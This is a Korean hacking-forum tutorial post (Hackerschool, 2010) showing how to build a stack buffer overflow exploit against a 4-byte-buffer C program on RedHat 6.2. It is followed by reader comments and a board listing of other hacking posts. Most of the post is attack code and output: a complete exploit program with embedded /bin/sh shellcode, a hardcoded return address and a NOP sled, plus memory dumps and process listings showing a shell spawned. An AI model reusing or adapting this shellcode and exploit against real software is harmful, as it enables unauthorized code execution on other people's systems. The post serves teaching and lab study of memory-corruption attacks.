1580, 8/79 회원가입  로그인  
   buff3r
   http://#include .
   [자작]RedHat 6.2 환경에서 BOF exploit 만들기 -The Second -

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=1438 [복사]


저번에 만들었던 익스플로잇은 취약한 프로그램 내부 버퍼안에서
모든일을 끝냈습니다. 이번에는 buf 에 4바이트 만을 할당하는 프로그램을 익스플로잇
해보도록 하겠습니다
vuln.c
#include <stdio.h>
#include "dumpcode.h"
int main(int argc,char *argv[])
{
        char buf[4];  // 4바이트만을 할당합니다.
                                 // STACK 구조 [buf(4)][sfp(4)[ret(4)]
                                 // 우리가 이용할수 있는공간은 8Byte 입니다.
                                 // 저번과 같은 방법으로는 익스플로잇이 불가능합니다.
        strcpy(buf,argv[1]);
        dumpcode(buf,500);
}

그렇다면 어떻게 공격을 성공시켜야 할까요 . ? 방법은 두가지가 있습니다.
1. 환경변수를 이용한 exploit
2. NOP 을 이용한 exploit
(RTL 은 일단 뺏습니다 .. ㅋㅋ)
이번 강좌에서는 2번째 방법을 이용하겠습니다.
8바이트 밖에 없는데 어떻게 NOP을 넣냐구요 ??
방법은 간단합니다. ret 뒤에 NOP 과 쉘코드를 넣어준후, ret는 NOP중 아무곳이나
가르키게 하면됩니다.
공격할 스택구조:
[쓰레기값 ( 8Byte ) ][ RET ( 8Bye ] [ NOP x 200 ( 200byte) ] [Shellcode ]
                            --------------               ↑
                                    ↓                      ↑
                                    →→→→→→→→→→

이런식으로 구성하면 됩니다.
일단 ret 뒤에 NOP이 PUSH 될 주소를 찾아봅시다.
[test@localhost test]$ ./vuln `perl -e 'print "\x90"x600'`
0xbffff904  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff914  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff924  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff934  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff944  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff954  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff964  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff974  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff984  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff994  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9a4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9b4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9c4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9d4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9e4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9f4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa04  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa14  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa24  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa34  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa44  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa54  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa64  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa74  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa84  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffaa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffad4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffae4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffaf4  90 90 90 90                    

공간이 참 무궁무진 하군요 +-+
우리는 0xbffff924 를 이용합시다 .
ex.c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68"; // This Is Shellcode
int main(int argc, char *argv[])
{
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buffer, *ptr;
        ret = 0xbffff924;  // 우리가 이용할 RET 값
        buffer = malloc(600);
        ptr = buffer;
        addr_ptr = (long *) ptr;
        for(i=0; i < 600; i+=4)
        { *(addr_ptr++) = ret; }  // 모든 600 byte를 ret로 덮어쓴다
        for(i=0; i < 8; i++)
        { buffer[i] = '\x41'; } // 처음 8 바이트를 \x41 (A) 로 덮어쓴다.
        ptr = buffer + 12; // 스택 모습이 [A x 8 (8byte)][RET ( 4byte)] 이므로
                                 // NOP은 ret 뒤인 buffer + 12 부터 덮어쓴다.
        for(i=0; i < 200; i++)
        { *(ptr++) = '\x90'; }   // NOP 덮어쓰기
        ptr = buffer + 212; // 쉘코드가 위치할 부분
        for(i=0; i < strlen(shellcode); i++)
        { *(ptr++) = shellcode[i]; }   // RET , NOP 뒤에 쉘코드를 덮어쓴다.

        buffer[600-1] = 0;        
        execl("./vuln", "vuln", buffer, 0);                      // 실행
        free(buffer);
        return 0;
}
공격하기전 :
[test@localhost test]$ ps
  PID TTY          TIME CMD
  681 pts/0    00:00:00 bash
  732 pts/0    00:00:00 bash2
  741 pts/0    00:00:00 ps

공격 :
[test@localhost test]$ ./ex
0xbffff8d4  41 41 41 41 41 41 41 41 24 f9 ff bf 90 90 90 90   AAAAAAAA$.......
0xbffff8e4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff8f4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff904  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff914  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff924  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff934  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff944  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff954  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff964  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff974  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff984  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff994  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffff9a4  90 90 90 90 31 c0 b0 46 31 db 31 c9 cd 80 eb 16   ....1..F1.1.....
0xbffff9b4  5b 31 c0 88 43 07 89 5b 08 89 43 0c b0 0b 8d 4b   [1..C..[..C....K
0xbffff9c4  08 8d 53 0c cd 80 e8 e5 ff ff ff 2f 62 69 6e 2f   ..S......../bin/
0xbffff9d4  73 68 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   sh..$...$...$...
0xbffff9e4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffff9f4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa04  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa14  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa24  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa34  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa44  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa54  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa64  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa74  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa84  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffa94  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffaa4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffab4  24 f9 ff bf 24 f9 ff bf 24 f9 ff bf 24 f9 ff bf   $...$...$...$...
0xbffffac4  24 f9 ff bf                                       $...
bash$
공격 하고난 후 :
bash$ ps
  PID TTY          TIME CMD
  681 pts/0    00:00:00 bash
  732 pts/0    00:00:00 bash2
  739 pts/0    00:00:00 sh // 공격이 성공했다는것을 알수있다
  740 pts/0    00:00:00 ps


  Hit : 7013     Date : 2010/03/18 06:55



    
별빛을담아 여러분은 지금 buff3r가 버퍼를 가지고 놀고 있는 광경을 보고 계십니다.

여튼 선댓글 후감상
2010/03/18  
초콜렛나인 버퍼가 버퍼를 가지고 놀고있는 광경ㅋㅋㅋ 2010/03/18  
kjwon15 NOP 을 가지고 노는 광경이군요.. 2010/03/23  
zzguswhd 어떤.. 컴파일러를 쓴거에요 ?; 2010/07/26  
Cpgroot 좋은정보 듣고감 ..ㅇㅅㅇ 2010/08/18  
1440   letmein 님 해캠 전까지 풀면 된다고 했던 문제요     blueh4g
02/03 6426
1439   해킹방법[12]     bongcheur
07/07 12761
1438   컴퓨터해커[4]     bongcheur
07/07 8979
1437   Windows NetBios 를 악용한 해킹방법의 예와 대처방법[3]     bongcheur
07/07 10282
1436   키보드해킹(보안)에 대해     bongcheur
07/07 7035
1435   nProtect 키보드 해킹방지 프로그램 설치[5]     bongcheur
07/07 9891
1434   해킹툴[5]     bongcheur
07/08 10017
1433   원격종료....[39]     bsjzzz
01/02 11343
1432   리눅스 방화벽의 종류...[4]     bsjzzz
01/12 13413
1431   제가 직접 작성한 Sql Injection 문서입니다 .[9]     buff3r
10/29 7548
1430   [자작]간단히 Netcat을 이용하여 윈도우XP 갖고놀기[11]     buff3r
01/03 7521
1429   Start of SQL Injection (매우 기초) 1[6]     buff3r
01/11 7008
1428   Ready to Make a Sql injection tool[5]     buff3r
01/15 7060
1427   [BASE]Making SQL injection tool 1/3[3]     buff3r
01/20 6362
1426   [BT4_han.iso]USB부팅하는 방법 For 별빛을담아[5]     buff3r
02/22 9479
1425   [자작] M4k3 Xploits :D[2]     buff3r
03/06 6338
1424   [자작]RedHat 6.2 환경에서 BOF exploit 만들기[6]     buff3r
03/17 12616
  [자작]RedHat 6.2 환경에서 BOF exploit 만들기 -The Second -[5]     buff3r
03/18 7012
1422   Fedora Core 3 local based buffer overflow[3]     buff3r
08/22 6908
1421   ;cat 을 사용하는 이유 .[3]     bugfixer2
05/18 9901
[1][2][3][4][5][6][7] 8 [9][10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com